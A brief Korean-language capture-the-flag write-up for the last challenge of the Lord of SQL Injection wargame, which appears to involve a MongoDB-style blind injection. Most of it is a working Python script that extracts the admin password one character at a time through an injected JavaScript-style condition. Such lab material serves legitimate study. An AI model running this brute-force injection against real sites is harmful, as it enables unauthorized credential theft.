Lord of SQL Injection - incubus

Lord Of SQL Injection 의 마지막 문제이다.

 

mongo db 환경에서의 간단한 Blind SQL Injection 문제인 것 같다. 바로 exploit 코드를 작성할 수 있을 것 같다.

import requests

requests.packages.urllib3.disable_warnings()
org_url = "https://los.rubiya.kr/chall/incubus_3dff9ce783c9f574edf015a7b99450d7.php"
header  = {'Cookie': 'PHPSESSID='}
session = requests.session()

# Brute Force
password = ''

for i in range(0, 20):
    for j in range(48, 122):
        payload = "?pw='||obj.id=='admin'%26%26obj.pw[" + str(i) + "]==" + "'" + chr(j)
        res     = session.get(url = org_url + payload, headers=header, verify=False)

        if ("Hello admin" in res.text) and (j != 63):
            password += chr(j)
            print("Current PW is [ %s ]\n" % password)
            break


# Result
print("\n\nPW --> %s\n" % password)

---